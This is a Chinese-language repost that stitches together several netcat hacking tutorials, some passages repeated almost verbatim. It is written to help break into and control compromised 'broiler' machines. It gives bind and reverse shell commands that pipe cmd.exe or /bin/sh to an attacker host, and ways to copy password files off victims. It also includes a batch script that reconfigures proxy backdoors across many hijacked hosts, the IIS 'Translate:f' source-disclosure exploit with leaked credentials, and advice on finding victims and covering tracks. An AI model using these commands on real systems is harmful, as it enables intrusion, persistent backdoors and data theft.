本文共 16018 字,大约阅读时间需要 53 分钟。
想要连接到某处: nc [-options] hostname port[s] [ports] … 绑定端口等待连接: nc -l -p port [-options] [hostname] [port] 参数: -e prog 程序重定向,一旦连接,就执行 [危险!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, … -h 帮助信息 -I secs 延时的间隔 -l 监听模式,用于入站连接 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 任意指定本地及远程端口 -s addr 本地源地址 -t 以telnet的形式应答 -u UDP模式 -v 详细输出——用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉——用于扫描时 二. 它的简单使用方法 1.nc -l -p 80 监听80端口 2.nc -l -p 80 >c:\log.dat 监听80端口,并把信息记录到log.dat 3.nc -v -l -p 80 监听80端口,并显示端口信息 4.nc -vv -l -p 80 一样是监听端口,但显示端口信息更详细 5.nc -l -p 80 -t -e cmd.exe 监听本地的80端口的入站信息,同时将cmd.exe重定向至80端口,当有人连接的时候,就让cmd.exe以telnet的形式应答。当然这个最好用在肉鸡上,哈哈。 6.nc -v ip port 扫描某ip的某个端口 7.nc -v -z ip port-port 扫描某ip的某端口到某端口 8.nc -v -z -u ip port-port 扫描某ip的某udp端口到某udp端口 三.几个使用的例子 1. 计算机192.168.0.1运行:nc -v -n -p 99 计算机192.168.0.8运行:nc -e cmd.exe 192.168.0.1 99 这样我们就获得了192.168.0.8的一个shell哦,看看权限吧,添加一个用户123加入管理员组,yes! 2.计算机192.168.0.1运行:nc -v -n 192.168.0.8 99 计算机192.168.0.8运行:nc -v -l -p 99 >d:\sc.exe ok,让我们来看看远程计算机的d盘吧 ============================================================== 1、 了解NC的用法 命令:nc –h 技巧:win98用户可以在autoexec.bat加入path=nc的路径,win2000用户在环境变量中加入path中,linux含有这个命令(redhat) 1、基本使用 想要连接到某处: nc [-options] hostname port[s] [ports] ... 绑定端口等待连接: nc -l -p port [-options] [hostname] [port] 参数: -e prog 程序重定向,一旦连接,就执行 [危险!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h 帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 任意指定本地及远程端口 -s addr 本地源地址 -u UDP模式 -v 详细输出——用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉——用于扫描时 其中端口号可以指定一个或者用lo-hi式的指定范围。 例如:扫描端口 tcp扫描 C:\\nc>nc -v -z -w2 192.168.0.80 1-140 net [192.168.0.80] 140 (?) net [192.168.0.80] 139 (netbios-ssn) open net [192.168.0.80] 138 (?) net [192.168.0.80] 137 (netbios-ns) net [192.168.0.80] 136 (?) net [192.168.0.80] 135 (epmap) open net [192.168.0.80] 81 (?) open net [192.168.0.80] 80 (http) open net [192.168.0.80] 79 (finger) net [192.168.0.80] 25 (smtp) open net [192.168.0.80] 24 (?) net [192.168.0.80] 23 (telnet) net [192.168.0.80] 21 (ftp) udp扫描 C:\\nc>nc -u -v -z -w2 192.168.0.80 1-140 net [192.168.0.80] 140 (?) open net [192.168.0.80] 139 (?) open net [192.168.0.80] 138 (netbios-dgm) open net [192.168.0.80] 137 (netbios-ns) open net [192.168.0.80] 54 (?) open net [192.168.0.80] 53 (domain) open net [192.168.0.80] 38 (?) open net [192.168.0.80] 37 (time) open net [192.168.0.80] 7 (echo) open 二、高级应用 1.Window用法: (1)IE的MIME欺骗 www.try2hack..nl(是一个让初学黑客技术的人去做实验的站点) 打开这个页面,有 IE6.72,我们的操作系统不是LIUNX,我们不是从www.microsoft.com/ms.htm重定向链接过去的,有病阿(这是一个题目呀,要慢慢研究),linux有IE6.72? 微软会在它的页面上放 执行的perl脚本,根本无法看到,还是研究一下IE5和它通信时都告诉了它什么,抓包,我们会发现,我们的IE5告诉对方: 我是MSIE 5.0; Windows NT 5.0; .NET CLR 1.0.3705。。。。哈哈,level7.pl这个cgi应该是根据这些信息知道我们不是它要求的 客户,嘿嘿,需要欺骗对方才行,用军刀来可以实现,如下做就可以哄对方了: nc www.try2hack.nl 80 [enter] GET /cgi-bin/level7.pl HTTP/1.1 [enter] Accept: image/gif, image/x-xbitmap, application/msword, */* [enter] Referer [enter] Accept-Language: zh-cn [enter] Accept-Encoding: gzip, deflate [enter] User-Agent: Mozilla/4.0 (compatible; MSIE 6.72; Linux 8.8.8 i986) [enter] Host: www.try2hack.nl [enter] Connection: Keep-Alive [enter] 注意,如果出现HTTP 400时,说明你输入格式有问题,出现httpd 200回应时,就给出结果了: 哈哈!赶快去实现一下(实践是成功之母) (2)IIS 5 "Translate:f" 显示代码脆弱点 Translate:f脆弱点的机制:发送一个畸形的HTTP GET 请求给服务器方一个可执行脚本或相关文件类型(例如.ASP或者global.asa)。这些文件是用于服务器上运行的,绝不会到客户机上去,而这个请求就会导致IIS将这种文件的内容发送到远端的客户机上,而不是在服务器上运行。这种畸形的HTTP GET请求的关键特性是该请求的末尾有一个特定的头信息Translate:f,并有一个反斜杠"\\"附于URL之后。下面就有这样的一个例子([CRLF]代表回车字符) 注意 GET global.asa 后的反斜杠以及Translate:f头信息。 GET /global.asa\\ HTTP/1.0 Host:192.168.0.1 User-Agent:SensePostData Content-Type:application/x-www-form-urlencoded Translate:f [CRLF] [CRLF] 将以上内容保存在一个文本文件中(例如example.txt) 然后向一个有这个漏洞的服务器发送 c:\\>type example.txt | nc –nvv 192.168.0.80 80 (UNKNOWN) [192.168.0.80] 80 (?) open HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Tue, 03 Dec 2002 08:50:46 GMT Content-Type: application/octet-stream Content-Length: 2790 ETag: "0448299fcd6df1:bea" Last-Modified: Wed, 13 Nov 2002 18:50:46 GMT Accept-Ranges: bytes Cache-Control: no-cache <!-Copyright 2001-2003 netloafer.com --> <object RUNAT=Server SCOPE=Session ID=myfix PROCID="my1.object"></object> ("ConnectionText") = "Dsn=ph;UID=myman;Password=mygod)" ("LDAPServer") = "LADP://ldap.netloafer.com:389" ("LDAPUserID") = "CN=Admin" ("LDAPPwd") = "mygod" ……… 3.1.端口的刺探: nc -vv ip port RIVER [192.168.0.198] 19190 (?) open //显示是否开放open 3.2.扫描器 nc -vv -w 5 ip port-port port nc -vv -z ip port-port port 这样扫描会留下大量的痕迹,系统管理员会额外小心 3.3. 后门 victim machine: //受害者的机器 nc -l -p port -e cmd.exe //win2000 nc -l -p port -e /bin/sh //unix,linux attacker machine: //攻击者的机器. nc ip -p port //连接victim_IP,然后得到一个shell。 3.4.反向连接 attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击. //或者wollf的反向连接. nc -vv -l -p port victim machine: nc -e cmd.exe attacker ip -p port nc -e /bin/sh attacker ip -p port 或者: attacker machine: nc -vv -l -p port1 /*用于输入*/ nc -vv -l -p prot2 /*用于显示*/ victim machine: nc attacker_ip port1 | cmd.exe | nc attacker_ip port2 nc attacker_ip port1 | /bin/sh | nc attacker_ip port2 139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP) 这样就可以保证nc.exe优先于NETBIOS。 3.5.传送文件: 3.5.1 attacker machine <-- victim machine //从肉鸡拖密码文件回来. nc -d -l -p port < path\\filedest /*attacker machine*/ 可以shell执行 nc -vv attacker_ip port > path\\file.txt /*victim machine*/ 需要Ctrl+C退出 //肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C. 3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡 nc -vv -l -p port > path\\file.txt /*victim machine*/ 需要Ctrl+C退出 nc -d victim_ip port < path\\filedest /*attacker machine*/ 可以shell执行 //这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆. 结论: 可以传输ascii,bin文件.可以传输程序文件. 问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe . 或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了? 3.6 端口数据抓包. nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15 < 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error < 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command """" unr < 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized... < 00000084 83 00 00 01 8f # ..... 3.7 telnet,自动批处理。 ★★★★★我要重点推荐的东西就是这个. nc victim_ip port < path\\file.cmd /*victim machine*/ 显示执行过程. nc -vv victim_ip port < path\\file.cmd /*victim machine*/ 显示执行过程. nc -d victim_ip port < path\\file.cmd 安静模式. _______________file.cmd________________________ password cd %windir% echo []=[%windir%] c: cd \\ md test cd /d %windir%\\system32\\ net stop sksockserver snake.exe -config port 11111 net start sksockserver exit _______________file.cmd__END___________________ =============================================================== 0. 写在前面的话 1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息 2. Netcat 1.10 for NT 帮助信息 3. Netcat 1.10 常用的命令格式 4. 管理肉鸡,更改肉鸡设置 5. 下载连接 6. 后记 ###################################################################### 0. 写在前面的话 ###################################################################### 最近工作比较空闲,老是想着怎么自动telnet肉鸡,自动执行命令。来管理自己的肉鸡。 自己写一个程序。功底是不够的,所以只有看了看nc的帮助信息,虽然只看了个半懂, 但是借助于金山词霸2002版本, 还是明白了一点东西. 我觉的有必要再总结一下.反正主要是满足我自己的需要. ###################################################################### 1. Netcat 1.10 for NT - nc11nt.zip ###################################################################### Basic Features * Outbound or inbound connections, TCP or UDP, to or from any ports * Full DNS forward/reverse checking, with appropriate warnings * Ability to use any local source port * Ability to use any locally-configured network source address * Built-in port-scanning capabilities, with randomizer * Can read command line arguments from standard inputb * Slow-send mode, one line every N seconds * Hex dump of transmitted and received data * Ability to let another program service established connections * Telnet-options responder New for NT * Ability to run in the background without a console window * Ability to restart as a single-threaded server to handle a new connection ________________________________________________________________________ Some of the features of netcat are: Outbound or inbound connections, TCP or UDP, to or from any ports Full DNS forward/reverse checking, with appropriate warnings Ability to use any local source port Ability to use any locally-configured network source address Built-in port-scanning capabilities, with randomizer Built-in loose source-routing capability Can read command line arguments from standard input Slow-send mode, one line every N seconds Optional ability to let another program service inbound connections Some of the potential uses of netcat: Script backends Scanning ports and inventorying services Backup handlers File transfers Server testing and simulation Firewall testing Proxy gatewaying Network performance testing Address spoofing tests Protecting X servers 1001 other uses you`ll likely come up with Netcat + Encryption = Cryptcat 对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了. 1.1 NC.EXE是一个非标准的telnet客户端程序, 1.2 还有一个putty.exe客户端程序,提供四种连接模式 -raw -telnet -rlogin -ssh. ###################################################################### 2. Netcat 1.10 for NT 帮助信息 ###################################################################### C:\WINDOWS\Desktop>nc -h [v1.10 NT] connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [options] [hostname] [port] options: -d detach from console, background mode (后台模式) -e prog inbound program to exec [dangerous!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft (本帮助信息) -i secs delay interval for lines sent, ports scanned (延迟时间) -l listen mode, for inbound connects (监听模式,等待连接) -L listen harder, re-listen on socket close (连接关闭后,仍然继续监听) -n numeric-only IP addresses, no DNS (ip数字模式,非dns解析) -o file hex dump of traffic (十六进制模式输出文件,三段) -p port local port number (本地端口) -r randomize local and remote ports (随机本地远程端口) -s addr local source address (本地源地址) -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] (-vv 更多信息) -w secs timeout for connects and final net reads -z zero-I/O mode [used for scanning] (扫描模式,-vv) port numbers can be individual or ranges: m-n [inclusive] ###################################################################### 3. Netcat 1.10 常用的命令格式 ###################################################################### 下面引用 《沉睡不醒 10月15日凌晨》的文章的部分。 3.1.端口的刺探: nc -vv ip port RIVER [192.168.0.198] 19190 (?) open //显示是否开放open 3.2.扫描器 nc -vv -w 5 ip port-port port nc -vv -z ip port-port port 这样扫描会留下大量的痕迹,系统管理员会额外小心 3.3. 后门 victim machine: //受害者的机器 nc -l -p port -e cmd.exe //win2000 nc -l -p port -e /bin/sh //unix,linux attacker machine: //攻击者的机器. nc ip -p port //连接victim_IP,然后得到一个shell。 3.4.反向连接 attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击. //或者wollf的反向连接. nc -vv -l -p port victim machine: nc -e cmd.exe attacker ip -p port nc -e /bin/sh attacker ip -p port 或者: attacker machine: nc -vv -l -p port1 /*用于输入*/ nc -vv -l -p prot2 /*用于显示*/ victim machine: nc attacker_ip port1 | cmd.exe | nc attacker_ip port2 nc attacker_ip port1 | /bin/sh | nc attacker_ip port2 139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP) 这样就可以保证nc.exe优先于NETBIOS。 3.5.传送文件: 3.5.1 attacker machine <-- victim machine //从肉鸡拖密码文件回来. nc -d -l -p port < path\filedest /*attacker machine*/ 可以shell执行 nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl+C退出 //肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C. 3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡 nc -vv -l -p port > path\file.txt /*victim machine*/ 需要Ctrl+C退出 nc -d victim_ip port < path\filedest /*attacker machine*/ 可以shell执行 //这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆. 结论: 可以传输ascii,bin文件.可以传输程序文件. 问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe . 或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了? 3.6 端口数据抓包. nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15 < 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error < 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command """" unr < 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized... < 00000084 83 00 00 01 8f # ..... 3.7 telnet,自动批处理。 ★★★★★我要重点推荐的东西就是这个. nc victim_ip port < path\file.cmd /*victim machine*/ 显示执行过程. nc -vv victim_ip port < path\file.cmd /*victim machine*/ 显示执行过程. nc -d victim_ip port < path\file.cmd 安静模式. _______________file.cmd________________________ password cd %windir% echo []=[%windir%] c: cd \ md test cd /d %windir%\system32\ net stop sksockserver snake.exe -config port 11111 net start sksockserver exit _______________file.cmd__END___________________ ###################################################################### 4. 管理肉鸡,更改肉鸡设置 ###################################################################### 4.1 比如要统一更改肉鸡上面的代理端口.snake.exe 修改为11111 服务名称""sksockserver"" 使用winshell后门. 端口1234 密码password 命令格式就是 modi.bat youip.txt ___________modi.bat____________________________ @if ""%1""=="""" echo Error: no ip.txt &&goto END :start @echo password >a.cmd @echo s >>a.cmd @echo cd /d %%windir%%\system32\ >>a.cmd @net stop ""sksockserver"" >>a.cmd @snake.exe -config port 11111 >>a.cmd @net start ""sksockserver"" >>a.cmd @exit >>a.cmd :auto @for /f ""eol=; tokens=1,2"" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 < a.cmd) :END ___________modi.bat__END_______________________ 4.2 @echo off color f0 :start cls C:\nc -vv -w 3 -l -p 80>>80.txt goto start 把防火墙关掉以后运行这个批处理,会监听到许多探测U漏洞的信息,大多 是三条一组--妮姆达病毒扫描你的。这样就会得到肉鸡的.虽然质量不高. 但是也是一种便宜的办法. 肉鸡特征: 1。unicode漏洞 2。guest密码为空,administrators组用户 3。其他漏洞 自己慢慢的爽去吧。不过,再次强调一句,不建议而且是不能破坏国内主机,上去以后将tftp.exe改名。然后用pskill干掉mmc.exe进程,之后是杀毒。做好后门以后,将guest帐号停用,以对付傻瓜扫描器 ###################################################################### 5. 下载连接 ###################################################################### 5.1 Tool: Netcat 1.10 for Unix Version: 03.20.96 Platforms: *nix Tool: Netcat 1.1 for Win 95/98/NT/2000 Version: 02.08.98 Platforms: Runs on Win 95/98/NT/2000 5.2 名称: cryptcat_nt.zip 更新时间: 2002-04-05 类别: 网络工具 平台: Win9x/NT/2000 大小: 115.8K 提交: maxilaw 简介: 加密传输的nc。 5.3 国外的网站 10.03.02 15:48 1305 cryptcat.txt 10.03.02 15:48 245760 cryptcat_linux2.tar 10.03.02 15:48 118533 cryptcat_nt.zip ###################################################################### 6. 后记 ###################################################################### 只有明天上网,找个win2000 server登陆终端服务来测试了。 我的还是破win98,没有办法哟. 多试试,多想想,可能你可以用它来做更多事情——你可以参见nc110.tgz里script目录下的那 些脚本,从中获得一些思路。 我这儿没有nc110.tgz压缩包。明天去google.com搜索一下。 Unix 下面的命令还是不熟悉. ============================================================ 一.NC(netcat)的使用方法! 连接到某处:nc [-options] hostname port[s] [ports]..... 监听某端口等待连接:nc -l -p port [options] [hostname] [port] -options -d 后台运行 -e prog 程序重定向,一旦有连接,就执行绑定的程序。 -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h 帮助信息 -i 设定延时时间。 -l 监听方式,等待连入。连接完成后,结束监听。 -L 监听方式,等待连入。连接完成后,继续监听。 -n 只能使用ip地址。 -o file 指定要传送的16进制代码。 -p port 指定本地的端口号。 -r 随意指定本地或远程端口号。 -s addr 本地的源地址。 -t 回显telnet信息。 -u UDP方式。 -v 显示详细的信息,-vv 可获取更详细的信息。 -w 指定超时的时间。 -z 用于scan。 以上就是nc的一些参数和选项,注意,这是nt版本的nc。如果是*nix的需要自己编译。也都差不多,只是netcat.c默认是没有-t和-e这个两个参数,要改。 看看它能干些什么,(偶就知道这些) 1.端口的刺探: nc -vv ip port 2.扫描器 nc -v -w 5 ip port-port nc -v -z ip port-port 3. 后门 victim machine: nc -l -p port -e cmd.exe nc -l -p port -e /bin/sh attacker machine: nc victim ip -p port 得到一个shell。 4.反向连接 attacker machine: nc -vv -l -p port victim machine: nc -e cmd.exe attacker ip -p port nc -e /bin/sh attacker ip -p port 或者: attacker machine: nc -vv -l -p port1 /*用于输入*/ nc -vv -l -p prot2 /*用于显示*/ victim machine: nc attacker ip port1 | cmd.exe | nc attacker ip port2 nc attacker ip port1 | /bin/sh | nc attacker ip port2 5.传送文件: attacker machine <-- victim machine nc -d -l -p port < path file /*attacker machine*/ nc -vv attacker ip -p port > path file /*victim machine*/ attacker machine --> victim machine nc -vv -l -p > patm file /*victim machine*/ nc -d victim ip -p port < path file /*attacker转载地址:http://tflci.baihongyu.com/